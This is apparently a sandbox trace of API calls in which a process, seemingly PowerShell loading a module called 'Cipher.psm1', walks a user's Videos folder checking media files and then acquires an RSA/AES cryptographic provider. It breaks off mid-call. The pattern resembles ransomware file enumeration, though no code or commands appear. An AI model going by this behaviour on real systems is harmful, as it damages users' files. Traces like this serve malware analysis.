0x10 [0116.482] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e\\hcep6")) returned 0x10 [0116.482] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\7GVX7gkcEUhn3q" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e\\hcep6\\7gvx7gkceuhn3q")) returned 0x10 [0116.483] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\YmuQA0xKFmS1PQAo" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e\\hcep6\\ymuqa0xkfms1pqao")) returned 0x10 [0116.483] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\YmuQA0xKFmS1PQAo\\9CmFB.flv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e\\hcep6\\ymuqa0xkfms1pqao\\9cmfb.flv")) returned 0x20 [0116.483] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\YmuQA0xKFmS1PQAo\\LY1slfAHpA0CjOl.flv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e\\hcep6\\ymuqa0xkfms1pqao\\ly1slfahpa0cjol.flv")) returned 0x20 [0116.484] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\YmuQA0xKFmS1PQAo\\MVTyfMHdBH4hTZ.swf" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e\\hcep6\\ymuqa0xkfms1pqao\\mvtyfmhdbh4htz.swf")) returned 0x20 [0116.484] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\YmuQA0xKFmS1PQAo\\wzoS7bt0.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e\\hcep6\\ymuqa0xkfms1pqao\\wzos7bt0.mp4")) returned 0x20 [0116.484] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\kU8W1Obiy0WAauUs13Q.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e\\hcep6\\ku8w1obiy0waauus13q.avi")) returned 0x20 [0116.484] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\tQvzXdA-wIPGe25N-.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e\\hcep6\\tqvzxda-wipge25n-.mp4")) returned 0x20 [0116.485] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\ya7kK0B XrEiCCR28lY.swf" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e\\hcep6\\ya7kk0b xreiccr28ly.swf")) returned 0x20 [0116.485] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\MlcP9Z6qmpKKHL" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e\\mlcp9z6qmpkkhl")) returned 0x10 [0116.485] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\MlcP9Z6qmpKKHL\\0Blj4c_PVMox6Krbe.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e\\mlcp9z6qmpkkhl\\0blj4c_pvmox6krbe.avi")) returned 0x20 [0116.486] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\MlcP9Z6qmpKKHL\\0OcnFskVldPj.mkv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e\\mlcp9z6qmpkkhl\\0ocnfskvldpj.mkv")) returned 0x20 [0116.486] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\MlcP9Z6qmpKKHL\\K8vnCwfcmYIXr3V.swf" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e\\mlcp9z6qmpkkhl\\k8vncwfcmyixr3v.swf")) returned 0x20 [0116.486] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\2QQ3yhqnFri.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e\\2qq3yhqnfri.mp4")) returned 0x20 [0116.486] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\l3wCgULrXQE9.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e\\l3wcgulrxqe9.mp4")) returned 0x20 [0116.487] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\Np__vdLtlZlc-.flv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e\\np__vdltlzlc-.flv")) returned 0x20 [0116.487] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\PXy_oqq9tNpNFBr.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e\\pxy_oqq9tnpnfbr.mp4")) returned 0x20 [0116.487] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\n1mrF.mkv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\n1mrf.mkv")) returned 0x20 [0116.487] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\oAVejMubKlrV5_6y6hZw.swf" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\oavejmubklrv5_6y6hzw.swf")) returned 0x20 [0116.487] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\HvvHqo0ADHwSN3BP13g.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\hvvhqo0adhwsn3bp13g.avi")) returned 0x20 [0116.488] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\jnZv.swf" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\jnzv.swf")) returned 0x20 [0116.488] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\ODdpytAn9-lWgNlGrF.mkv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\oddpytan9-lwgnlgrf.mkv")) returned 0x20 [0116.488] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\ReeG4dx.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\reeg4dx.mp4")) returned 0x20 [0116.488] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\2Fxr.flv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\2fxr.flv")) returned 0x20 [0116.489] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\eRyEYq-B.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\eryeyq-b.mp4")) returned 0x20 [0116.489] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\Et3YlzqRrM1z-73.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\et3ylzqrrm1z-73.avi")) returned 0x20 [0116.489] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\m_1Jy6jg.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\m_1jy6jg.mp4")) returned 0x20 [0116.490] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\w2PClaQ4pHd.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\w2pclaq4phd.avi")) returned 0x20 [0116.490] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeeb8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeeb8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x22, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0116.490] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aef1c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x21, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aef1c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x21, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0116.490] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeeb8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeeb8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x21, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0116.490] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aef1c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x22, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aef1c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x22, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0116.503] CoTaskMemAlloc (cb=0x20e) returned 0x8e53a20 [0116.503] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x8e53a20, nSize=0x105 | out: lpBuffer="\x64a8\x74a0\xad99\x99de\x1000") returned 0x0 [0116.504] CoTaskMemFree (pv=0x8e53a20) [0120.209] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae780, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0120.213] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aee7c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee7c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x23, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0120.213] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeddc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeddc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x22, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0120.213] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aee6c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x23, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aee6c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x23, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0120.383] CoTaskMemAlloc (cb=0x20e) returned 0x8e52f58 [0120.383] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x8e52f58, nSize=0x105 | out: lpBuffer="\xf210\x7fbc\x4d88\x8e5") returned 0x0 [0120.383] CoTaskMemFree (pv=0x8e52f58) [0120.799] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae3d4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0120.799] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aead0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aead0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x24, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0120.799] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aea30*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aea30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x23, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0120.799] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeac0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x24, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeac0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x24, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0121.005] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\config\\machine.config", nBufferLength=0x105, lpBuffer=0x99ae10c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\config\\machine.config", lpFilePart=0x0) returned 0x43 [0121.005] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\config\\machine.config", nBufferLength=0x105, lpBuffer=0x99ae170, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\config\\machine.config", lpFilePart=0x0) returned 0x43 [0121.005] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae5d0) returned 1 [0121.006] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x99ae64c | out: lpFileInformation=0x99ae64c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x319371f9, ftCreationTime.dwHighDateTime=0x1d0bb00, ftLastAccessTime.dwLowDateTime=0xf0c27aa0, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0xf0c27aa0, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0x8c8f)) returned 1 [0121.006] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae5cc) returned 1 [0121.097] CryptAcquireContextW (in: phProv=0x99ae320, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae320*=0x4396a38) returned 1 [0121.098] CryptGetProvParam (in: hProv=0x4396a38, dwParam=0x1, pbData=0x0, pdwDataLen=0x99ae2e4, dwFlags=0x1 | out: pbData=0x0, pdwDataLen=0x99ae2e4) returned 1 [0121.104] CoTaskMemAlloc (cb=0x20) returned 0x8e14c70 [0121.104] CryptGetProvParam (in: hProv=0x4396a38, dwParam=0x1, pbData=0x8e14c70, pdwDataLen=0x99ae2e4, dwFlags=0x1 | out: pbData=0x8e14c70, pdwDataLen=0x99ae2e4) returned 1 [0121.105] CoTaskMemFree (pv=0x8e14c70) [0121.105] CryptGetProvParam (in: hProv=0x4396a38, dwParam=0x1, pbData=0x0, pdwDataLen=0x99ae2e4, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x99ae2e4) returned 1 [0121.105] CoTaskMemAlloc (cb=0x20) returned 0x8e14b80 [0121.105] CryptGetProvParam (in: hProv=0x4396a38, dwParam=0x1, pbData=0x8e14b80, pdwDataLen=0x99ae2e4, dwFlags=0x0 | out: pbData=0x8e14b80, pdwDataLen=0x99ae2e4) returned 1 [0121.105] CoTaskMemFree (pv=0x8e14b80) [0121.105] CryptGetProvParam (in: hProv=0x4396a38, dwParam=0x1, pbData=0x0, pdwDataLen=0x99ae2e4, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x99ae2e4) returned 1 [0121.105] CoTaskMemAlloc (cb=0x20) returned 0x8e149c8 [0121.105] CryptGetProvParam (in: hProv=0x4396a38, dwParam=0x1, pbData=0x8e149c8, pdwDataLen=0x99ae2e4, dwFlags=0x0 | out: pbData=0x8e149c8, pdwDataLen=0x99ae2e4) returned 1 [0121.105] CoTaskMemFree (pv=0x8e149c8) [0121.105] CryptGetProvParam (in: hProv=0x4396a38, dwParam=0x1, pbData=0x0, pdwDataLen=0x99ae2e4, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x99ae2e4) returned 1 [0121.105] CoTaskMemAlloc (cb=0x20) returned 0x8e14838 [0121.105] CryptGetProvParam (in: hProv=0x4396a38, dwParam=0x1, pbData=0x8e14838, pdwDataLen=0x99ae2e4, dwFlags=0x0 | out: pbData=0x8e14838, pdwDataLen=0x99ae2e4) returned 1 [0121.105] CoTaskMemFree (pv=0x8e14838) [0121.105] CryptGetProvParam (in: hProv=0x4396a38, dwParam=0x1, pbData=0x0, pdwDataLen=0x99ae2e4, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x99ae2e4) returned 1 [0121.105] CoTaskMemAlloc (cb=0x20) returned 0x8e14a18 [0121.105] CryptGetProvParam (in: hProv=0x4396a38, dwParam=0x1, pbData=0x8e14a18, pdwDataLen=0x99ae2e4, dwFlags=0x0 | out: pbData=0x8e14a18, pdwDataLen=0x99ae2e4) returned 1 [0121.105] CoTaskMemFree (pv=0x8e14a18) [0121.105] CryptGetProvParam (in: hProv=0x4396a38, dwParam=0x1, pbData=0x0, pdwDataLen=0x99ae2e4, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x99ae2e4) returned 1 [0121.105] CoTaskMemAlloc (cb=0x20) returned 0x8e14b08 [0121.105] CryptGetProvParam (in: hProv=0x4396a38, dwParam=0x1, pbData=0x8e14b08, pdwDataLen=0x99ae2e4, dwFlags=0x0 | out: pbData=0x8e14b08, pdwDataLen=0x99ae2e4) returned 1 [0121.105] CoTaskMemFree (pv=0x8e14b08) [0121.105] CryptGetProvParam (in: hProv=0x4396a38, dwParam=0x1, pbData=0x0, pdwDataLen=0x99ae2e4, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x99ae2e4) returned 1 [0121.105] CoTaskMemAlloc (cb=0x20) returned 0x8e14b80 [0121.105] CryptGetProvParam (in: hProv=0x4396a38, dwParam=0x1, pbData=0x8e14b80, pdwDataLen=0x99ae2e4, dwFlags=0x0 | out: pbData=0x8e14b80, pdwDataLen=0x99ae2e4) returned 1 [0121.105] CoTaskMemFree (pv=0x8e14b80) [0121.105] CryptGetProvParam (in: hProv=0x4396a38, dwParam=0x1, pbData=0x0, pdwDataLen=0x99ae2e4, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x99ae2e4) returned 1 [0121.105] CoTaskMemAlloc (cb=0x20) returned 0x8e14ba8 [0121.105] CryptGetProvParam (in: hProv=0x4396a38, dwParam=0x1, pbData=0x8e14ba8, pdwDataLen=0x99ae2e4, dwFlags=0x0 | out: pbData=0x8e14ba8, pdwDataLen=0x99ae2e4) returned 1 [0121.106] CoTaskMemFree (pv=0x8e14ba8) [0121.106] CryptGetProvParam (in: hProv=0x4396a38, dwParam=0x1, pbData=0x0, pdwDataLen=0x99ae2e4, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x99ae2e4) returned 1 [0121.106] CoTaskMemAlloc (cb=0x20) returned 0x8e149a0 [0121.106] CryptGetProvParam (in: hProv=0x4396a38, dwParam=0x1, pbData=0x8e149a0, pdwDataLen=0x99ae2e4, dwFlags=0x0 | out: pbData=0x8e149a0, pdwDataLen=0x99ae2e4) returned 1 [0121.106] CoTaskMemFree (pv=0x8e149a0) [0121.106] CryptGetProvParam (in: hProv=0x4396a38, dwParam=0x1, pbData=0x0, pdwDataLen=0x99ae2e4, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x99ae2e4) returned 1 [0121.106] CoTaskMemAlloc (cb=0x20) returned 0x8e14810 [0121.106] CryptGetProvParam (in: hProv=0x4396a38, dwParam=0x1, pbData=0x8e14810, pdwDataLen=0x99ae2e4, dwFlags=0x0 | out: pbData=0x8e14810, pdwDataLen=0x99ae2e4) returned 1 [0121.106] CoTaskMemFree (pv=0x8e14810) [0121.106] CryptGetProvParam (in: hProv=0x4396a38, dwParam=0x1, pbData=0x0, pdwDataLen=0x99ae2e4, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x99ae2e4) returned 1 [0121.106] CoTaskMemAlloc (cb=0x20) returned 0x8e14ab8 [0121.106] CryptGetProvParam (in: hProv=0x4396a38, dwParam=0x1, pbData=0x8e14ab8, pdwDataLen=0x99ae2e4, dwFlags=0x0 | out: pbData=0x8e14ab8, pdwDataLen=0x99ae2e4) returned 1 [0121.106] CoTaskMemFree (pv=0x8e14ab8) [0121.106] CryptGetProvParam (in: hProv=0x4396a38, dwParam=0x1, pbData=0x0, pdwDataLen=0x99ae2e4, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x99ae2e4) returned 1 [0121.106] CoTaskMemAlloc (cb=0x20) returned 0x8e14ba8 [0121.106] CryptGetProvParam (in: hProv=0x4396a38, dwParam=0x1, pbData=0x8e14ba8, pdwDataLen=0x99ae2e4, dwFlags=0x0 | out: pbData=0x8e14ba8, pdwDataLen=0x99ae2e4) returned 1 [0121.106] CoTaskMemFree (pv=0x8e14ba8) [0121.106] CryptGetProvParam (in: hProv=0x4396a38, dwParam=0x1, pbData=0x0, pdwDataLen=0x99ae2e4, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x99ae2e4) returned 1 [0121.106] CoTaskMemAlloc (cb=0x20) returned 0x8e14ab8 [0121.106] CryptGetProvParam (in: hProv=0x4396a38, dwParam=0x1, pbData=0x8e14ab8, pdwDataLen=0x99ae2e4, dwFlags=0x0 | out: pbData=0x8e14ab8, pdwDataLen=0x99ae2e4) returned 1 [0121.106] CoTaskMemFree (pv=0x8e14ab8) [0121.106] CryptGetProvParam (in: hProv=0x4396a38, dwParam=0x1, pbData=0x0, pdwDataLen=0x99ae2e4, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x99ae2e4) returned 1 [0121.106] CoTaskMemAlloc (cb=0x20) returned 0x8e14928 [0121.106] CryptGetProvParam (in: hProv=0x4396a38, dwParam=0x1, pbData=0x8e14928, pdwDataLen=0x99ae2e4, dwFlags=0x0 | out: pbData=0x8e14928, pdwDataLen=0x99ae2e4) returned 1 [0121.106] CoTaskMemFree (pv=0x8e14928) [0121.106] CryptGetProvParam (in: hProv=0x4396a38, dwParam=0x1, pbData=0x0, pdwDataLen=0x99ae2e4, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x99ae2e4) returned 1 [0121.106] CoTaskMemAlloc (cb=0x20) returned 0x8e14ae0 [0121.106] CryptGetProvParam (in: hProv=0x4396a38, dwParam=0x1, pbData=0x8e14ae0, pdwDataLen=0x99ae2e4, dwFlags=0x0 | out: pbData=0x8e14ae0, pdwDataLen=0x99ae2e4) returned 1 [0121.106] CoTaskMemFree (pv=0x8e14ae0) [0121.106] CryptGetProvParam (in: hProv=0x4396a38, dwParam=0x1, pbData=0x0, pdwDataLen=0x99ae2e4, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x99ae2e4) returned 1 [0121.106] CoTaskMemAlloc (cb=0x20) returned 0x8e14ae0 [0121.106] CryptGetProvParam (in: hProv=0x4396a38, dwParam=0x1, pbData=0x8e14ae0, pdwDataLen=0x99ae2e4, dwFlags=0x0 | out: pbData=0x8e14ae0, pdwDataLen=0x99ae2e4) returned 1 [0121.107] CoTaskMemFree (pv=0x8e14ae0) [0121.107] CryptGetProvParam (in: hProv=0x4396a38, dwParam=0x1, pbData=0x0, pdwDataLen=0x99ae2e4, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x99ae2e4) returned 1 [0121.107] CoTaskMemAlloc (cb=0x20) returned 0x8e14810 [0121.107] CryptGetProvParam (in: hProv=0x4396a38, dwParam=0x1, pbData=0x8e14810, pdwDataLen=0x99ae2e4, dwFlags=0x0 | out: pbData=0x8e14810, pdwDataLen=0x99ae2e4) returned 1 [0121.107] CoTaskMemFree (pv=0x8e14810) [0121.107] CryptGetProvParam (in: hProv=0x4396a38, dwParam=0x1, pbData=0x0, 